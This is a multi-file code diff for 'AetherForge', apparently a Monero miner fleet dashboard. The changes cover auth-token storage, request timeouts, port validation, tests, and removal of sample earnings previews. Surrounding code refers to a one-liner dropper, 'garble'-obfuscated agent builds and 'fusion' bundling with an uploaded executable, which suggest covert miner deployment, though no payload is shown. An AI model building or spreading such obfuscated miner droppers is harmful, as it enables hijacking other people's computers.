log.Println("Blueprint handler initialized") log.Println("Blueprint handler initialized")
// Initialize dropper handler (one-liner remote install) // Initialize dropper handler (one-liner remote install)
dropperHandler := api.NewDropperHandler(database, func() string { dropperHandler := api.NewDropperHandler(database, cfg.DataDir, func() string {
return configProvider.PublicURL() return configProvider.PublicURL()
}) })
@@ -260,19 +277,9 @@ func main() {
// Initialize router // Initialize router
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string { router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
return configProvider.PublicURL() return configProvider.PublicURL()
}) }, cfg.Port)
log.Println("Router initialized") log.Println("Router initialized")
tok := cfg.ConnectorToken()
if tok != "" {
log.Println("[tunnel] Starting Cloudflare connector (Zero Trust token from Calibrate or data/cloudflared-token.txt)")
if err := cloudflared.Start(cfg.DataDir, projectRoot, tok); err != nil {
log.Printf("[tunnel] Warning: %v", err)
} else {
defer cloudflared.Stop()
}
}
// Start server // Start server
addr := fmt.Sprintf(":%d", cfg.Port) addr := fmt.Sprintf(":%d", cfg.Port)
log.Printf("Server listening on %s", addr) log.Printf("Server listening on %s", addr)
@@ -456,6 +463,13 @@ func findAgentSourceDir() string {
// resolveDataDir pins relative data paths to the project root so builds always land in // resolveDataDir pins relative data paths to the project root so builds always land in
// <repo>/data even when miner-server.exe is started from server/ or bin/. // <repo>/data even when miner-server.exe is started from server/ or bin/.
func validateListenPort(port int) error {
if port < 1 || port > 65535 {
return fmt.Errorf("port %d out of range (165535)", port)
}
return nil
}
func resolveDataDir(dataDir, projectRoot string) string { func resolveDataDir(dataDir, projectRoot string) string {
if filepath.IsAbs(dataDir) { if filepath.IsAbs(dataDir) {
return dataDir return dataDir

View File

@@ -7,6 +7,18 @@ import (
"testing" "testing"
) )
func TestValidateListenPort(t *testing.T) {
if err := validateListenPort(8989); err != nil {
t.Fatalf("8989 should be valid: %v", err)
}
if err := validateListenPort(0); err == nil {
t.Fatal("port 0 should be invalid")
}
if err := validateListenPort(70000); err == nil {
t.Fatal("port 70000 should be invalid")
}
}
func TestResolveDataDirAbsolute(t *testing.T) { func TestResolveDataDirAbsolute(t *testing.T) {
abs := filepath.Join(t.TempDir(), "data") abs := filepath.Join(t.TempDir(), "data")
got := resolveDataDir(abs, "C:\\project") got := resolveDataDir(abs, "C:\\project")

View File

@@ -2,26 +2,66 @@
* @vitest-environment happy-dom * @vitest-environment happy-dom
*/ */
import { beforeEach, describe, expect, it, vi } from 'vitest'; import { beforeEach, describe, expect, it, vi } from 'vitest';
import { authHeaders, clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth'; import {
AETHERFORGE_CLIENT_HEADER,
AETHERFORGE_CLIENT_VALUE,
authHeaders,
clearStoredAuth,
consumeAuthExpiredFlag,
encodeBasicToken,
getStoredAuth,
setStoredAuth,
} from '../api/auth';
const AUTH_KEY = 'aetherforge_auth';
describe('auth session helpers', () => { describe('auth session helpers', () => {
beforeEach(() => { beforeEach(() => {
sessionStorage.clear(); sessionStorage.clear();
localStorage.clear();
}); });
it('stores and retrieves basic token', () => { it('stores and retrieves basic token in session and local storage', () => {
setStoredAuth('drjones', 'secret'); setStoredAuth('drjones', 'secret');
expect(getStoredAuth()).toBe(btoa('drjones:secret')); const token = encodeBasicToken('drjones', 'secret');
expect(getStoredAuth()).toBe(token);
expect(sessionStorage.getItem(AUTH_KEY)).toBe(token);
expect(localStorage.getItem(AUTH_KEY)).toBe(token);
}); });
it('builds Authorization header when logged in', () => { it('reads from localStorage when sessionStorage is empty', () => {
const token = encodeBasicToken('user', 'pass');
localStorage.setItem(AUTH_KEY, token);
expect(getStoredAuth()).toBe(token);
});
it('builds Authorization and client header when logged in', () => {
setStoredAuth('user', 'pass'); setStoredAuth('user', 'pass');
expect(authHeaders()).toEqual({ Authorization: `Basic ${btoa('user:pass')}` }); expect(authHeaders()).toEqual({
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
Authorization: `Basic ${encodeBasicToken('user', 'pass')}`,
});
}); });
it('returns empty headers when logged out', () => { it('includes client header when logged out', () => {
clearStoredAuth(); clearStoredAuth();
expect(authHeaders()).toEqual({}); expect(authHeaders()).toEqual({
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
});
});
it('clears both storages on logout', () => {
setStoredAuth('user', 'pass');
clearStoredAuth();
expect(sessionStorage.getItem(AUTH_KEY)).toBeNull();
expect(localStorage.getItem(AUTH_KEY)).toBeNull();
expect(getStoredAuth()).toBeNull();
});
it('encodeBasicToken supports non-ASCII passwords', () => {
const token = encodeBasicToken('user', 'päss');
expect(token).toBeTruthy();
expect(token).not.toBe(btoa('user:päss'));
}); });
it('getStoredAuth returns null when sessionStorage throws', () => { it('getStoredAuth returns null when sessionStorage throws', () => {
@@ -30,4 +70,11 @@ describe('auth session helpers', () => {
}); });
expect(getStoredAuth()).toBeNull(); expect(getStoredAuth()).toBeNull();
}); });
it('consumeAuthExpiredFlag is set once on expired logout', () => {
setStoredAuth('user', 'pass');
clearStoredAuth({ expired: true });
expect(consumeAuthExpiredFlag()).toBe(true);
expect(consumeAuthExpiredFlag()).toBe(false);
});
}); });

View File

@@ -1,30 +1,105 @@
const AUTH_KEY = 'aetherforge_auth'; const AUTH_KEY = 'aetherforge_auth';
const AUTH_EXPIRED_KEY = 'aetherforge_auth_expired';
export function getStoredAuth(): string | null { export const AETHERFORGE_CLIENT_HEADER = 'X-AetherForge-Client';
export const AETHERFORGE_CLIENT_VALUE = 'dashboard';
/** UTF-8-safe Basic auth token (username:password) for Authorization header. */
export function encodeBasicToken(username: string, password: string): string {
const bytes = new TextEncoder().encode(`${username}:${password}`);
let binary = '';
for (let i = 0; i < bytes.length; i++) {
binary += String.fromCharCode(bytes[i]);
}
return btoa(binary);
}
function readAuthStorage(): string | null {
try { try {
return sessionStorage.getItem(AUTH_KEY); const session = sessionStorage.getItem(AUTH_KEY);
if (session) return session;
} catch {
/* sessionStorage blocked */
}
try {
return localStorage.getItem(AUTH_KEY);
} catch { } catch {
return null; return null;
} }
} }
function writeAuthStorage(token: string) {
try {
sessionStorage.setItem(AUTH_KEY, token);
} catch {
/* ignore */
}
try {
localStorage.setItem(AUTH_KEY, token);
} catch {
/* ignore */
}
}
function removeAuthStorage() {
try {
sessionStorage.removeItem(AUTH_KEY);
} catch {
/* ignore */
}
try {
localStorage.removeItem(AUTH_KEY);
} catch {
/* ignore */
}
}
export function getStoredAuth(): string | null {
return readAuthStorage();
}
export function setStoredAuth(username: string, password: string, opts?: { silent?: boolean }) { export function setStoredAuth(username: string, password: string, opts?: { silent?: boolean }) {
const token = btoa(`${username}:${password}`); const token = encodeBasicToken(username, password);
sessionStorage.setItem(AUTH_KEY, token); writeAuthStorage(token);
if (!opts?.silent) { if (!opts?.silent) {
window.dispatchEvent(new Event('aetherforge-auth')); window.dispatchEvent(new Event('aetherforge-auth'));
} }
} }
export function clearStoredAuth(opts?: { silent?: boolean }) { export function clearStoredAuth(opts?: { silent?: boolean; expired?: boolean }) {
sessionStorage.removeItem(AUTH_KEY); if (opts?.expired) {
try {
sessionStorage.setItem(AUTH_EXPIRED_KEY, '1');
} catch {
/* ignore */
}
}
removeAuthStorage();
if (!opts?.silent) { if (!opts?.silent) {
window.dispatchEvent(new Event('aetherforge-auth')); window.dispatchEvent(new Event('aetherforge-auth'));
} }
} }
/** True once after a 401 cleared stored credentials; consumed by SessionGate login UI. */
export function consumeAuthExpiredFlag(): boolean {
try {
if (sessionStorage.getItem(AUTH_EXPIRED_KEY)) {
sessionStorage.removeItem(AUTH_EXPIRED_KEY);
return true;
}
} catch {
/* ignore */
}
return false;
}
export function authHeaders(): Record<string, string> { export function authHeaders(): Record<string, string> {
const headers: Record<string, string> = {
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
};
const token = getStoredAuth(); const token = getStoredAuth();
if (!token) return {}; if (token) {
return { Authorization: `Basic ${token}` }; headers.Authorization = `Basic ${token}`;
}
return headers;
} }

View File

@@ -22,6 +22,7 @@ describe('api client', () => {
beforeEach(() => { beforeEach(() => {
sessionStorage.clear(); sessionStorage.clear();
localStorage.clear();
fetchMock = vi.fn(); fetchMock = vi.fn();
vi.stubGlobal('fetch', fetchMock); vi.stubGlobal('fetch', fetchMock);
}); });
@@ -38,6 +39,7 @@ describe('api client', () => {
function expectAuthHeaders(init: RequestInit) { function expectAuthHeaders(init: RequestInit) {
const headers = init.headers as Record<string, string>; const headers = init.headers as Record<string, string>;
expect(headers.Authorization).toBe(`Basic ${btoa('user:pass')}`); expect(headers.Authorization).toBe(`Basic ${btoa('user:pass')}`);
expect(headers['X-AetherForge-Client']).toBe('dashboard');
} }
it('sends JSON Content-Type and auth on listAgents', async () => { it('sends JSON Content-Type and auth on listAgents', async () => {
@@ -69,6 +71,16 @@ describe('api client', () => {
const headers = lastFetch().init.headers as Record<string, string>; const headers = lastFetch().init.headers as Record<string, string>;
expect(headers.Authorization).toBeUndefined(); expect(headers.Authorization).toBeUndefined();
expect(headers['X-AetherForge-Client']).toBe('dashboard');
});
it('clears stored auth on 401 API response', async () => {
setStoredAuth('user', 'pass');
fetchMock.mockResolvedValueOnce(textResponse('Unauthorized', 401));
await expect(api.listAgents()).rejects.toThrow('API error 401');
expect(sessionStorage.getItem('aetherforge_auth')).toBeNull();
expect(localStorage.getItem('aetherforge_auth')).toBeNull();
}); });
it('getAgentStats appends limit query param', async () => { it('getAgentStats appends limit query param', async () => {
@@ -111,6 +123,18 @@ describe('api client', () => {
expect(url).toBe('/api/v1/builder/build'); expect(url).toBe('/api/v1/builder/build');
expect(init.method).toBe('POST'); expect(init.method).toBe('POST');
expect(init.body).toBe(JSON.stringify(req)); expect(init.body).toBe(JSON.stringify(req));
expect(init.signal).toBeDefined();
});
it('buildAgent surfaces server error from JSON body', async () => {
const req = { fusion_enabled: false, wallet: '4' + 'A'.repeat(94) } as Parameters<typeof api.buildAgent>[0];
fetchMock.mockResolvedValueOnce({
ok: false,
status: 500,
text: async () => JSON.stringify({ success: false, error: 'compile failed (garble): OOM' }),
});
await expect(api.buildAgent(req)).rejects.toThrow('compile failed (garble): OOM');
}); });
it('buildAgent rejects fusion without prep file', async () => { it('buildAgent rejects fusion without prep file', async () => {

View File

@@ -1,11 +1,72 @@
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop } from '../types'; import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop } from '../types';
import { authHeaders } from './auth'; import { authHeaders, clearStoredAuth } from './auth';
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
const API_BASE = '/api/v1'; const API_BASE = '/api/v1';
/** Forge compiles (garble / universal / fusion) can run 1030+ minutes. */
export const FORGE_BUILD_TIMEOUT_MS = 45 * 60 * 1000;
/** Fusion size estimate uploads prep.exe — allow longer than default REST. */
const FUSION_ESTIMATE_TIMEOUT_MS = 2 * 60 * 1000;
/** Agent log refresh=1 may block until new lines arrive. */
const AGENT_LOG_REFRESH_TIMEOUT_MS = 90 * 1000;
// Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally // Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally
// omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth. // omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth.
function forgeTimeoutError(): Error {
return new Error(
'Forge timed out — max settings (garble, universal, fusion) can take 30+ minutes. ' +
'Wait longer, disable obfuscation, or forge one target at a time.',
);
}
async function parseForgeBuildResponse(res: Response): Promise<BuildResponse> {
const text = await res.text();
if (!res.ok) {
try {
const body = JSON.parse(text) as BuildResponse;
if (body.error) {
throw new Error(body.error);
}
} catch (e) {
if (e instanceof Error && !(e instanceof SyntaxError) && !e.message.startsWith('API error')) {
throw e;
}
}
throw new Error(text.trim() || `Build failed (${res.status})`);
}
return JSON.parse(text) as BuildResponse;
}
async function postForgeBuild(url: string, init: RequestInit): Promise<BuildResponse> {
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), FORGE_BUILD_TIMEOUT_MS);
try {
const res = await fetch(`${API_BASE}${url}`, {
...init,
signal: controller.signal,
headers: {
...authHeaders(),
...(init.headers as Record<string, string> | undefined),
},
});
if (res.status === 401) {
clearStoredAuth({ expired: true });
}
return await parseForgeBuildResponse(res);
} catch (e) {
if (e instanceof DOMException && e.name === 'AbortError') {
throw forgeTimeoutError();
}
throw e;
} finally {
clearTimeout(timer);
}
}
async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 10000): Promise<T> { async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 10000): Promise<T> {
const { headers: extraHeaders, signal: callerSignal, ...rest } = options ?? {} as RequestInit & { signal?: AbortSignal }; const { headers: extraHeaders, signal: callerSignal, ...rest } = options ?? {} as RequestInit & { signal?: AbortSignal };
const controller = new AbortController(); const controller = new AbortController();
@@ -24,10 +85,18 @@ async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 1000
}, },
}); });
if (!res.ok) { if (!res.ok) {
if (res.status === 401) {
clearStoredAuth({ expired: true });
}
const err = await res.text(); const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`); throw new Error(`API error ${res.status}: ${err}`);
} }
return res.json(); return res.json();
} catch (e) {
if (e instanceof DOMException && e.name === 'AbortError') {
throw new Error(`Request timed out after ${Math.round(timeoutMs / 1000)}s`);
}
throw e;
} finally { } finally {
clearTimeout(timer); clearTimeout(timer);
} }
@@ -65,20 +134,14 @@ export const api = {
const form = new FormData(); const form = new FormData();
form.append('config', JSON.stringify(req)); form.append('config', JSON.stringify(req));
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe'); form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
return fetch(`${API_BASE}/builder/build`, { return postForgeBuild('/builder/build', {
method: 'POST', method: 'POST',
headers: authHeaders(),
body: form, body: form,
}).then(async (res) => {
if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json() as Promise<BuildResponse>;
}); });
} }
return fetchJSON<BuildResponse>('/builder/build', { return postForgeBuild('/builder/build', {
method: 'POST', method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(req), body: JSON.stringify(req),
}); });
}, },
@@ -90,17 +153,31 @@ export const api = {
const form = new FormData(); const form = new FormData();
form.append('config', JSON.stringify(req)); form.append('config', JSON.stringify(req));
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe'); form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), FUSION_ESTIMATE_TIMEOUT_MS);
return fetch(`${API_BASE}/builder/estimate`, { return fetch(`${API_BASE}/builder/estimate`, {
method: 'POST', method: 'POST',
headers: authHeaders(), headers: authHeaders(),
body: form, body: form,
}).then(async (res) => { signal: controller.signal,
if (!res.ok) { })
const err = await res.text(); .then(async (res) => {
throw new Error(`API error ${res.status}: ${err}`); if (res.status === 401) {
} clearStoredAuth({ expired: true });
return res.json() as Promise<FusionEstimate>; }
}); if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json() as Promise<FusionEstimate>;
})
.catch((e) => {
if (e instanceof DOMException && e.name === 'AbortError') {
throw new Error('Fusion estimate timed out — try a smaller prep file or retry.');
}
throw e;
})
.finally(() => clearTimeout(timer));
}, },
pinBuild: (buildId: string) => pinBuild: (buildId: string) =>
@@ -159,12 +236,17 @@ export const api = {
body: JSON.stringify(mac ? { mac } : {}), body: JSON.stringify(mac ? { mac } : {}),
}), }),
getAgentLog: (id: string, refresh = false) => getAgentLog: (id: string, refresh = false) =>
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`), fetchJSON<{ agent_id: string; content: string }>(
`/agents/${id}/log${refresh ? '?refresh=1' : ''}`,
undefined,
refresh ? AGENT_LOG_REFRESH_TIMEOUT_MS : 10000,
),
downloadAgentLog: async (id: string): Promise<void> => { downloadAgentLog: async (id: string): Promise<void> => {
const res = await fetch(`${API_BASE}/agents/${id}/log?download=1`, { const res = await fetchAuthedWithTimeout(
headers: { ...authHeaders() }, `${API_BASE}/agents/${id}/log?download=1`,
}); DOWNLOAD_TIMEOUT_MS,
);
if (!res.ok) throw new Error(`Log download failed: ${res.status}`); if (!res.ok) throw new Error(`Log download failed: ${res.status}`);
const blob = await res.blob(); const blob = await res.blob();
const url = URL.createObjectURL(blob); const url = URL.createObjectURL(blob);
@@ -236,9 +318,8 @@ export const api = {
// Full deck backup — downloads a zip containing config.json, users.json, miner.db. // Full deck backup — downloads a zip containing config.json, users.json, miner.db.
downloadBackup: async (): Promise<void> => { downloadBackup: async (): Promise<void> => {
const res = await fetch(`${API_BASE}/backup`, { const res = await fetchAuthedWithTimeout(`${API_BASE}/backup`, BACKUP_DOWNLOAD_TIMEOUT_MS, {
method: 'GET', method: 'GET',
headers: { ...authHeaders() },
}); });
if (!res.ok) { if (!res.ok) {
const err = await res.text(); const err = await res.text();

View File

@@ -2,7 +2,7 @@
* @vitest-environment happy-dom * @vitest-environment happy-dom
*/ */
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { downloadAuthedFile, downloadApiFile } from './download'; import { downloadAuthedFile, downloadApiFile, fetchAuthedWithTimeout } from './download';
import { setStoredAuth } from './auth'; import { setStoredAuth } from './auth';
describe('downloadAuthedFile', () => { describe('downloadAuthedFile', () => {
@@ -11,6 +11,7 @@ describe('downloadAuthedFile', () => {
beforeEach(() => { beforeEach(() => {
sessionStorage.clear(); sessionStorage.clear();
localStorage.clear();
fetchMock = vi.fn(); fetchMock = vi.fn();
vi.stubGlobal('fetch', fetchMock); vi.stubGlobal('fetch', fetchMock);
clickMock = vi.fn(); clickMock = vi.fn();
@@ -30,7 +31,9 @@ describe('downloadAuthedFile', () => {
const [url, init] = fetchMock.mock.calls[0]; const [url, init] = fetchMock.mock.calls[0];
expect(url).toBe('/api/v1/builds/b1/download'); expect(url).toBe('/api/v1/builds/b1/download');
expect((init.headers as Record<string, string>).Authorization).toBe(`Basic ${btoa('user:pass')}`); const headers = init.headers as Record<string, string>;
expect(headers.Authorization).toBe(`Basic ${btoa('user:pass')}`);
expect(headers['X-AetherForge-Client']).toBe('dashboard');
expect(clickMock).toHaveBeenCalled(); expect(clickMock).toHaveBeenCalled();
}); });
@@ -65,4 +68,18 @@ describe('downloadAuthedFile', () => {
it('downloadApiFile is an alias', () => { it('downloadApiFile is an alias', () => {
expect(downloadApiFile).toBe(downloadAuthedFile); expect(downloadApiFile).toBe(downloadAuthedFile);
}); });
it('throws timeout message when download exceeds limit', async () => {
fetchMock.mockImplementation((_url, init?: RequestInit) => {
return new Promise((_, reject) => {
init?.signal?.addEventListener('abort', () => {
reject(new DOMException('The operation was aborted.', 'AbortError'));
});
});
});
await expect(fetchAuthedWithTimeout('/api/v1/builds/x/download', 1500)).rejects.toThrow(
'Download timed out after 2s',
);
});
}); });

View File

@@ -1,9 +1,46 @@
import { authHeaders } from './auth'; import { authHeaders } from './auth';
/** Large build artifacts (ZIP, fusion bundles). */
export const DOWNLOAD_TIMEOUT_MS = 5 * 60 * 1000;
/** Full deck backup zip — may include DB + config. */
export const BACKUP_DOWNLOAD_TIMEOUT_MS = 10 * 60 * 1000;
function downloadTimeoutError(timeoutMs: number): Error {
return new Error(`Download timed out after ${Math.round(timeoutMs / 1000)}s`);
}
/** Authenticated fetch with abort timeout and consistent AbortError messaging. */
export async function fetchAuthedWithTimeout(
url: string,
timeoutMs: number,
init?: RequestInit,
): Promise<Response> {
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), timeoutMs);
try {
return await fetch(url, {
...init,
signal: controller.signal,
headers: {
...authHeaders(),
...(init?.headers as Record<string, string> | undefined),
},
});
} catch (e) {
if (e instanceof DOMException && e.name === 'AbortError') {
throw downloadTimeoutError(timeoutMs);
}
throw e;
} finally {
clearTimeout(timer);
}
}
/** Download a protected /api/v1 file using session auth (build uninstall scripts, etc.). */ /** Download a protected /api/v1 file using session auth (build uninstall scripts, etc.). */
export async function downloadAuthedFile(apiPath: string, filename: string): Promise<void> { export async function downloadAuthedFile(apiPath: string, filename: string): Promise<void> {
const path = apiPath.startsWith('/api/v1') ? apiPath : `/api/v1${apiPath.startsWith('/') ? apiPath : `/${apiPath}`}`; const path = apiPath.startsWith('/api/v1') ? apiPath : `/api/v1${apiPath.startsWith('/') ? apiPath : `/${apiPath}`}`;
const res = await fetch(path, { headers: authHeaders() }); const res = await fetchAuthedWithTimeout(path, DOWNLOAD_TIMEOUT_MS);
if (!res.ok) { if (!res.ok) {
const err = await res.text(); const err = await res.text();
throw new Error(err || `Download failed (${res.status})`); throw new Error(err || `Download failed (${res.status})`);

View File

@@ -50,17 +50,15 @@ export default function HashrateChart({
const gradId = colorToId(color); const gradId = colorToId(color);
const peak = chartSeriesPeak(data); const peak = chartSeriesPeak(data);
const delta = chartSeriesDelta(data); const delta = chartSeriesDelta(data);
const liveLabel = const liveLabel = displayMode === 'live' ? '● LIVE' : '○ IDLE';
displayMode === 'live' ? '● LIVE' : displayMode === 'blend' ? '● SYNCING' : '● PROJECTION'; const liveClass = displayMode === 'live' ? 'pulse' : 'empty';
const liveClass =
displayMode === 'live' ? 'pulse' : displayMode === 'blend' ? 'blend' : 'sample';
if (data.length === 0) { if (data.length === 0) {
return ( return (
<div className="chart-empty neon-chart-panel wealth-empty"> <div className="chart-empty neon-chart-panel wealth-empty">
<div className="chart-empty-icon"></div> <div className="chart-empty-icon"></div>
<p className="font-tech">{title || 'Telemetry'}</p> <p className="font-tech">{title || 'Telemetry'}</p>
<span>Calibrating chart telemetry</span> <span>No live data yet connect miners to populate this chart</span>
</div> </div>
); );
} }

View File

@@ -5,7 +5,6 @@ import type { Agent, FleetAlert, PoolStatus, AIActivityEntry } from '../../types
import type { FleetHealth, ContributionBar, SubnetGroup, PlatformCount } from '../../help/fleetAnalytics'; import type { FleetHealth, ContributionBar, SubnetGroup, PlatformCount } from '../../help/fleetAnalytics';
import { timeToPayout } from '../../help/fleetAnalytics'; import { timeToPayout } from '../../help/fleetAnalytics';
import { formatHashrate } from '../../help/fleetFilters'; import { formatHashrate } from '../../help/fleetFilters';
import { SAMPLE_FLEET_PREVIEW } from '../../help/chartSampleData';
import './FleetPanels.css'; import './FleetPanels.css';
export function AlertBanner({ alerts }: { alerts: FleetAlert[] }) { export function AlertBanner({ alerts }: { alerts: FleetAlert[] }) {
@@ -174,26 +173,6 @@ export function EarningsEstimator({ hashrate, xmrPrice }: { hashrate: number; xm
); );
} }
/** Shown when fleet hashrate is zero — keeps the deck feeling lucrative. */
export function WealthEarningsPreview({ xmrPrice }: { xmrPrice?: number | null }) {
const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice;
const xmrDay = SAMPLE_FLEET_PREVIEW.xmrPerDay;
const usdDay = xmrDay * price;
return (
<NeonCard accent="gold" className="stat-card-wrap earnings-preview wealth-earnings">
<div className="earnings-preview-badge font-tech">PROJECTED YIELD</div>
<div className="stat-label font-tech">Target Fleet Earnings</div>
<div className="stat-value neon-glow-gold">~{xmrDay.toFixed(4)} XMR/day</div>
<div className="earnings-usd-day"> ${usdDay.toFixed(2)}/day</div>
<div className="stat-sub">At {formatHashrate(SAMPLE_FLEET_PREVIEW.hashrate)} fleet target</div>
<div className="stat-sub" style={{ marginTop: 4, opacity: 0.55, fontSize: '0.68rem' }}>
Deploy miners to replace projection with live pool data
</div>
</NeonCard>
);
}
// ─── Fleet Health Card ──────────────────────────────────────────────────────── // ─── Fleet Health Card ────────────────────────────────────────────────────────
export function FleetHealthCard({ health }: { health: FleetHealth }) { export function FleetHealthCard({ health }: { health: FleetHealth }) {
@@ -231,24 +210,20 @@ export function ContributionBars({
bars, bars,
xmrPerDay, xmrPerDay,
xmrPrice, xmrPrice,
sample = false,
}: { }: {
bars: ContributionBar[]; bars: ContributionBar[];
xmrPerDay?: number; xmrPerDay?: number;
xmrPrice?: number | null; xmrPrice?: number | null;
sample?: boolean;
}) { }) {
if (bars.length === 0) return null; if (bars.length === 0) return null;
return ( return (
<NeonCard accent="cyan" className={`section contrib-panel${sample ? ' sample-contrib' : ''}`} hud> <NeonCard accent="cyan" className="section contrib-panel" hud>
<h2 className="section-title font-display"> <h2 className="section-title font-display">
<span className="section-ornament"></span> Contribution Map <span className="section-ornament"></span> Contribution Map
<span className="section-line" /> <span className="section-line" />
</h2> </h2>
<p className="form-hint" style={{ marginTop: 0 }}> <p className="form-hint" style={{ marginTop: 0 }}>
{sample Each bar shows a machine&apos;s share of total fleet hashrate.
? 'Sample contribution map — your rigs will populate this lane when they connect.'
: "Each bar shows a machine's share of total fleet hashrate."}
</p> </p>
<div className="contrib-list"> <div className="contrib-list">
{bars.map((b) => { {bars.map((b) => {

View File

@@ -1,103 +1,159 @@
import { useEffect, useState, type ReactNode } from 'react'; import { useEffect, useState, type ReactNode } from 'react';
import { getStoredAuth, setStoredAuth } from '../api/auth';
import { useSound } from '../context/SoundContext'; import {
import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
AETHERFORGE_CLIENT_HEADER,
export default function SessionGate({ children }: { children: ReactNode }) {
const { play } = useSound(); AETHERFORGE_CLIENT_VALUE,
const [ready, setReady] = useState(false);
const [authed, setAuthed] = useState(!!getStoredAuth()); authHeaders,
const [user, setUser] = useState('');
const [pass, setPass] = useState(''); clearStoredAuth,
const [err, setErr] = useState('');
consumeAuthExpiredFlag,
useEffect(() => {
const token = getStoredAuth(); encodeBasicToken,
if (!token) {
setAuthed(false); getStoredAuth,
setReady(true);
return; setStoredAuth,
}
fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } }) } from '../api/auth';
.then((r) => {
setAuthed(r.ok); import { useSound } from '../context/SoundContext';
setReady(true);
}) import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
.catch(() => {
setAuthed(false);
setReady(true);
}); export default function SessionGate({ children }: { children: ReactNode }) {
}, []);
const { play } = useSound();
const handleLogin = async (e: React.FormEvent) => {
e.preventDefault(); const [ready, setReady] = useState(false);
setErr('');
const token = btoa(`${user}:${pass}`); const [authed, setAuthed] = useState(!!getStoredAuth());
try {
const res = await fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } }); const [degraded, setDegraded] = useState(false);
if (!res.ok) {
setErr('Login failed — check username and password.'); const [user, setUser] = useState('');
play('error');
return; const [pass, setPass] = useState('');
}
setStoredAuth(user, pass); const [err, setErr] = useState('');
setAuthed(true);
play('success'); const [sessionExpired, setSessionExpired] = useState(false);
} catch {
setErr('Cannot reach server — check that miner-server is running.');
}
}; useEffect(() => {
if (!ready) { const sync = () => {
return (
<div className="session-gate"> const hasAuth = !!getStoredAuth();
<div className="session-gate-sacred-ring" aria-hidden>
<FlowerOfLifeWatermark opacity={0.5} /> setAuthed(hasAuth);
</div>
<p className="font-tech">Starting AetherForge</p> if (!hasAuth) {
</div>
); setSessionExpired(consumeAuthExpiredFlag());
}
}
if (!authed) {
return ( };
<div className="session-gate">
<div className="session-gate-sacred-ring" aria-hidden> window.addEventListener('aetherforge-auth', sync);
<FlowerOfLifeWatermark opacity={0.5} />
</div> return () => window.removeEventListener('aetherforge-auth', sync);
<div className="session-gate-keys" aria-hidden>
<div className="session-gate-key session-gate-key--tl"> }, []);
<KnowledgeKey opacity={0.55} />
</div>
<div className="session-gate-key session-gate-key--br">
<KnowledgeKey opacity={0.45} /> useEffect(() => {
</div>
</div> const token = getStoredAuth();
<form className="session-gate-card card" onSubmit={handleLogin}>
<h1 className="font-display">AetherForge</h1> if (!token) {
<p className="form-hint">Sign in to open the command deck.</p>
<label className="label" htmlFor="session-user">Username</label> setAuthed(false);
<input id="session-user" className="input" value={user} onChange={(e) => setUser(e.target.value)} autoComplete="username" />
<label className="label" htmlFor="session-pass">Password</label> setSessionExpired(consumeAuthExpiredFlag());
<input
id="session-pass" setReady(true);
className="input"
type="password" return;
value={pass}
onChange={(e) => setPass(e.target.value)} }
autoComplete="current-password"
/> fetch('/api/v1/config', { headers: authHeaders() })
{err && <p className="form-hint" style={{ color: 'var(--accent-red)' }}>{err}</p>}
<button type="submit" className="btn btn-primary btn-lg"> .then((r) => {
Enter Command Deck
</button> if (r.status === 401) {
<p className="session-gate-whisper" aria-hidden>
ψ · the deck remembers every key clearStoredAuth({ silent: true, expired: true });
</p>
</form> setAuthed(false);
</div>
); setSessionExpired(true);
}
} else if (!r.ok) {
return <>{children}</>;
} // Server reachable but unhappy — keep saved credentials (degraded mode).
setAuthed(true);
setDegraded(true);
} else {
setAuthed(true);
setDegraded(false);
}
setReady(true);
})
.catch(() => {
// Network blip — trust stored credentials until the server responds.
setAuthed(true);
setDegraded(true);
setReady(true);
});
}, []);
const handleLogin = async (e: React.FormEvent) => {
e.preventDefault();
setErr('');
setSessionExpired(false);
const headers: Record<string, string> = {
